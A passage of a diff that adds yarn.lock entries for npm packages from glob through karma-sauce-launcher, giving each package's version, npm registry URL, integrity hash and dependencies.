+  integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==
+  dependencies:
+    fs.realpath "^1.0.0"
+    inflight "^1.0.4"
+    inherits "2"
+    minimatch "^3.1.1"
+    once "^1.3.0"
+    path-is-absolute "^1.0.0"
+
+globals@^14.0.0:
+  version "14.0.0"
+  resolved "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz"
+  integrity sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==
+
+globalthis@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz"
+  integrity sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==
+  dependencies:
+    define-properties "^1.2.1"
+    gopd "^1.0.1"
+
+globalyzer@0.1.0:
+  version "0.1.0"
+  resolved "https://registry.npmjs.org/globalyzer/-/globalyzer-0.1.0.tgz"
+  integrity sha512-40oNTM9UfG6aBmuKxk/giHn5nQ8RVz/SS4Ir6zgzOv9/qC3kKZ9v4etGTcJbEl/NyVQH7FGU7d+X1egr57Md2Q==
+
+globrex@^0.1.2:
+  version "0.1.2"
+  resolved "https://registry.npmjs.org/globrex/-/globrex-0.1.2.tgz"
+  integrity sha512-uHJgbwAMwNFf5mLst7IWLNg14x1CkeqglJb/K3doi4dw6q2IvAAmM/Y81kevy83wP+Sst+nutFTYOGg3d1lsxg==
+
+gopd@^1.0.1, gopd@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz"
+  integrity sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==
+
+graceful-fs@^4.1.6, graceful-fs@^4.2.0, graceful-fs@^4.2.6:
+  version "4.2.11"
+  resolved "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz"
+  integrity sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==
+
+har-schema@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz"
+  integrity sha512-Oqluz6zhGX8cyRaTQlFMPw80bSJVG2x/cFb8ZPhUILGgHka9SsokCCOQgpveePerqidZOrT14ipqfJb7ILcW5Q==
+
+har-validator@~5.1.0:
+  version "5.1.5"
+  resolved "https://registry.npmjs.org/har-validator/-/har-validator-5.1.5.tgz"
+  integrity sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==
+  dependencies:
+    ajv "^6.12.3"
+    har-schema "^2.0.0"
+
+has-bigints@^1.0.2:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/has-bigints/-/has-bigints-1.1.0.tgz"
+  integrity sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==
+
+has-flag@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz"
+  integrity sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==
+
+has-flag@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz"
+  integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
+
+has-property-descriptors@^1.0.0, has-property-descriptors@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz"
+  integrity sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==
+  dependencies:
+    es-define-property "^1.0.0"
+
+has-proto@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz"
+  integrity sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==
+  dependencies:
+    dunder-proto "^1.0.0"
+
+has-symbols@^1.0.3, has-symbols@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz"
+  integrity sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==
+
+has-tostringtag@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz"
+  integrity sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==
+  dependencies:
+    has-symbols "^1.0.3"
+
+hasown@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz"
+  integrity sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==
+  dependencies:
+    function-bind "^1.1.2"
+
+http-errors@2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz"
+  integrity sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==
+  dependencies:
+    depd "2.0.0"
+    inherits "2.0.4"
+    setprototypeof "1.2.0"
+    statuses "2.0.1"
+    toidentifier "1.0.1"
+
+http-proxy@^1.18.1:
+  version "1.18.1"
+  resolved "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz"
+  integrity sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==
+  dependencies:
+    eventemitter3 "^4.0.0"
+    follow-redirects "^1.0.0"
+    requires-port "^1.0.0"
+
+http-signature@~1.2.0:
+  version "1.2.0"
+  resolved "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz"
+  integrity sha512-CAbnr6Rz4CYQkLYUtSNXxQPUH2gK8f3iWexVlsnMeD+GjlsQ0Xsy1cOX+mN3dtxYomRy21CiOzU8Uhw6OwncEQ==
+  dependencies:
+    assert-plus "^1.0.0"
+    jsprim "^1.2.2"
+    sshpk "^1.7.0"
+
+https-proxy-agent@^2.2.1:
+  version "2.2.4"
+  resolved "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-2.2.4.tgz"
+  integrity sha512-OmvfoQ53WLjtA9HeYP9RNrWMJzzAz1JGaSFr1nijg0PVR1JaD/xbJq1mdEIIlxGpXp9eSe/O2LgU9DJmTPd0Eg==
+  dependencies:
+    agent-base "^4.3.0"
+    debug "^3.1.0"
+
+https-proxy-agent@^5.0.0:
+  version "5.0.1"
+  resolved "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz"
+  integrity sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==
+  dependencies:
+    agent-base "6"
+    debug "4"
+
+iconv-lite@0.4.24:
+  version "0.4.24"
+  resolved "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz"
+  integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==
+  dependencies:
+    safer-buffer ">= 2.1.2 < 3"
+
+ieee754@^1.1.13:
+  version "1.2.1"
+  resolved "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz"
+  integrity sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==
+
+ignore@^5.2.0:
+  version "5.3.2"
+  resolved "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz"
+  integrity sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==
+
+import-fresh@^3.2.1:
+  version "3.3.0"
+  resolved "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz"
+  integrity sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==
+  dependencies:
+    parent-module "^1.0.0"
+    resolve-from "^4.0.0"
+
+imurmurhash@^0.1.4:
+  version "0.1.4"
+  resolved "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz"
+  integrity sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==
+
+inflight@^1.0.4:
+  version "1.0.6"
+  resolved "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz"
+  integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==
+  dependencies:
+    once "^1.3.0"
+    wrappy "1"
+
+inherits@2, inherits@2.0.4, inherits@^2.0.3, inherits@^2.0.4, inherits@~2.0.3:
+  version "2.0.4"
+  resolved "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz"
+  integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
+
+internal-slot@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/internal-slot/-/internal-slot-1.1.0.tgz"
+  integrity sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==
+  dependencies:
+    es-errors "^1.3.0"
+    hasown "^2.0.2"
+    side-channel "^1.1.0"
+
+is-array-buffer@^3.0.4, is-array-buffer@^3.0.5:
+  version "3.0.5"
+  resolved "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.5.tgz"
+  integrity sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    get-intrinsic "^1.2.6"
+
+is-async-function@^2.0.0:
+  version "2.1.1"
+  resolved "https://registry.npmjs.org/is-async-function/-/is-async-function-2.1.1.tgz"
+  integrity sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==
+  dependencies:
+    async-function "^1.0.0"
+    call-bound "^1.0.3"
+    get-proto "^1.0.1"
+    has-tostringtag "^1.0.2"
+    safe-regex-test "^1.1.0"
+
+is-bigint@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/is-bigint/-/is-bigint-1.1.0.tgz"
+  integrity sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==
+  dependencies:
+    has-bigints "^1.0.2"
+
+is-binary-path@~2.1.0:
+  version "2.1.0"
+  resolved "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz"
+  integrity sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==
+  dependencies:
+    binary-extensions "^2.0.0"
+
+is-boolean-object@^1.2.1:
+  version "1.2.2"
+  resolved "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.2.2.tgz"
+  integrity sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==
+  dependencies:
+    call-bound "^1.0.3"
+    has-tostringtag "^1.0.2"
+
+is-callable@^1.2.7:
+  version "1.2.7"
+  resolved "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz"
+  integrity sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==
+
+is-core-module@^2.11.0, is-core-module@^2.13.0, is-core-module@^2.16.1:
+  version "2.16.1"
+  resolved "https://registry.npmjs.org/is-core-module/-/is-core-module-2.16.1.tgz"
+  integrity sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==
+  dependencies:
+    hasown "^2.0.2"
+
+is-data-view@^1.0.1, is-data-view@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.2.tgz"
+  integrity sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==
+  dependencies:
+    call-bound "^1.0.2"
+    get-intrinsic "^1.2.6"
+    is-typed-array "^1.1.13"
+
+is-date-object@^1.0.5, is-date-object@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.npmjs.org/is-date-object/-/is-date-object-1.1.0.tgz"
+  integrity sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==
+  dependencies:
+    call-bound "^1.0.2"
+    has-tostringtag "^1.0.2"
+
+is-extglob@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz"
+  integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==
+
+is-finalizationregistry@^1.1.0:
+  version "1.1.1"
+  resolved "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz"
+  integrity sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==
+  dependencies:
+    call-bound "^1.0.3"
+
+is-fullwidth-code-point@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz"
+  integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==
+
+is-generator-function@^1.0.10:
+  version "1.1.2"
+  resolved "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.1.2.tgz"
+  integrity sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==
+  dependencies:
+    call-bound "^1.0.4"
+    generator-function "^2.0.0"
+    get-proto "^1.0.1"
+    has-tostringtag "^1.0.2"
+    safe-regex-test "^1.1.0"
+
+is-glob@^4.0.0, is-glob@^4.0.1, is-glob@^4.0.3, is-glob@~4.0.1:
+  version "4.0.3"
+  resolved "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz"
+  integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==
+  dependencies:
+    is-extglob "^2.1.1"
+
+is-map@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz"
+  integrity sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==
+
+is-module@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/is-module/-/is-module-1.0.0.tgz"
+  integrity sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==
+
+is-negative-zero@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.3.tgz"
+  integrity sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==
+
+is-number-object@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.npmjs.org/is-number-object/-/is-number-object-1.1.1.tgz"
+  integrity sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==
+  dependencies:
+    call-bound "^1.0.3"
+    has-tostringtag "^1.0.2"
+
+is-number@^7.0.0:
+  version "7.0.0"
+  resolved "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz"
+  integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
+
+is-reference@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.npmjs.org/is-reference/-/is-reference-1.2.1.tgz"
+  integrity sha512-U82MsXXiFIrjCK4otLT+o2NA2Cd2g5MLoOVXUZjIOhLurrRxpEXzI8O0KZHr3IjLvlAH1kTPYSuqer5T9ZVBKQ==
+  dependencies:
+    "@types/estree" "*"
+
+is-regex@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz"
+  integrity sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==
+  dependencies:
+    call-bound "^1.0.2"
+    gopd "^1.2.0"
+    has-tostringtag "^1.0.2"
+    hasown "^2.0.2"
+
+is-set@^2.0.3:
+  version "2.0.3"
+  resolved "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz"
+  integrity sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==
+
+is-shared-array-buffer@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz"
+  integrity sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==
+  dependencies:
+    call-bound "^1.0.3"
+
+is-string@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.npmjs.org/is-string/-/is-string-1.1.1.tgz"
+  integrity sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==
+  dependencies:
+    call-bound "^1.0.3"
+    has-tostringtag "^1.0.2"
+
+is-symbol@^1.0.4, is-symbol@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.npmjs.org/is-symbol/-/is-symbol-1.1.1.tgz"
+  integrity sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==
+  dependencies:
+    call-bound "^1.0.2"
+    has-symbols "^1.1.0"
+    safe-regex-test "^1.1.0"
+
+is-typed-array@^1.1.13, is-typed-array@^1.1.14, is-typed-array@^1.1.15:
+  version "1.1.15"
+  resolved "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz"
+  integrity sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==
+  dependencies:
+    which-typed-array "^1.1.16"
+
+is-typedarray@~1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz"
+  integrity sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA==
+
+is-weakmap@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz"
+  integrity sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==
+
+is-weakref@^1.0.2, is-weakref@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.npmjs.org/is-weakref/-/is-weakref-1.1.1.tgz"
+  integrity sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==
+  dependencies:
+    call-bound "^1.0.3"
+
+is-weakset@^2.0.3:
+  version "2.0.4"
+  resolved "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.4.tgz"
+  integrity sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==
+  dependencies:
+    call-bound "^1.0.3"
+    get-intrinsic "^1.2.6"
+
+isarray@^2.0.5:
+  version "2.0.5"
+  resolved "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz"
+  integrity sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==
+
+isarray@~1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz"
+  integrity sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==
+
+isbinaryfile@^4.0.8:
+  version "4.0.10"
+  resolved "https://registry.npmjs.org/isbinaryfile/-/isbinaryfile-4.0.10.tgz"
+  integrity sha512-iHrqe5shvBUcFbmZq9zOQHBoeOhZJu6RQGrDpBgenUm/Am+F3JM2MgQj+rK3Z601fzrL5gLZWtAPH2OBaSVcyw==
+
+isexe@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz"
+  integrity sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==
+
+isstream@~0.1.2:
+  version "0.1.2"
+  resolved "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz"
+  integrity sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g==
+
+jest-worker@^26.2.1:
+  version "26.6.2"
+  resolved "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz"
+  integrity sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==
+  dependencies:
+    "@types/node" "*"
+    merge-stream "^2.0.0"
+    supports-color "^7.0.0"
+
+js-tokens@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz"
+  integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
+
+js-yaml@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz"
+  integrity sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==
+  dependencies:
+    argparse "^2.0.1"
+
+jsbn@~0.1.0:
+  version "0.1.1"
+  resolved "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz"
+  integrity sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==
+
+json-buffer@3.0.1:
+  version "3.0.1"
+  resolved "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz"
+  integrity sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==
+
+json-schema-traverse@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz"
+  integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==
+
+json-schema@0.4.0:
+  version "0.4.0"
+  resolved "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz"
+  integrity sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==
+
+json-stable-stringify-without-jsonify@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz"
+  integrity sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==
+
+json-stringify-safe@~5.0.1:
+  version "5.0.1"
+  resolved "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz"
+  integrity sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==
+
+json5@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.npmjs.org/json5/-/json5-1.0.2.tgz"
+  integrity sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==
+  dependencies:
+    minimist "^1.2.0"
+
+jsonfile@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz"
+  integrity sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==
+  optionalDependencies:
+    graceful-fs "^4.1.6"
+
+jsprim@^1.2.2:
+  version "1.4.2"
+  resolved "https://registry.npmjs.org/jsprim/-/jsprim-1.4.2.tgz"
+  integrity sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==
+  dependencies:
+    assert-plus "1.0.0"
+    extsprintf "1.3.0"
+    json-schema "0.4.0"
+    verror "1.10.0"
+
+karma-chrome-launcher@^2.2.0:
+  version "2.2.0"
+  resolved "https://registry.npmjs.org/karma-chrome-launcher/-/karma-chrome-launcher-2.2.0.tgz"
+  integrity sha512-uf/ZVpAabDBPvdPdveyk1EPgbnloPvFFGgmRhYLTDH7gEB4nZdSBk8yTU47w1g/drLSx5uMOkjKk7IWKfWg/+w==
+  dependencies:
+    fs-access "^1.0.0"
+    which "^1.2.1"
+
+karma-qunit@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.npmjs.org/karma-qunit/-/karma-qunit-2.1.0.tgz"
+  integrity sha512-QFt2msjpFNx1ZqB1EcD7rXaFRa3P+kLrgm6uRDYV/1MO7qGMxnTDgsFB1KyAKCpMreOmB5MMpEm5sX52j4c0aw==
+
+karma-sauce-launcher@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.npmjs.org/karma-sauce-launcher/-/karma-sauce-launcher-1.2.0.tgz"
